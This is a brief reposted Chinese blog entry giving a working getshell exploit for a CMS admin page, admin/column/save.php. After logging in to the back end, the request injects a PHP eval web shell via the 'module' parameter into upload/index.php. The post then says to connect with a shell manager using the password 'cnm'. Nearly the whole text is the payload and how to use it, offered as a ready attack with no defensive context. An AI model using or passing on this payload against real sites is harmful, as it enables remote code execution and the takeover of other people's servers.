标签:tor gets pre pos getshell column xxx tin inf
登录到后台
Payload:
admin/column/save.php?name=123&action=editor&foldername=upload&module=22;@eval($_POST[‘cnm‘]);/*
shell管理工具连接 密码:cnm
Shell在upload目录下的index.php
www.xxx.com/upload/index.php
标签:tor gets pre pos getshell column xxx tin inf
原文地址:https://www.cnblogs.com/muxueblog/p/12872722.html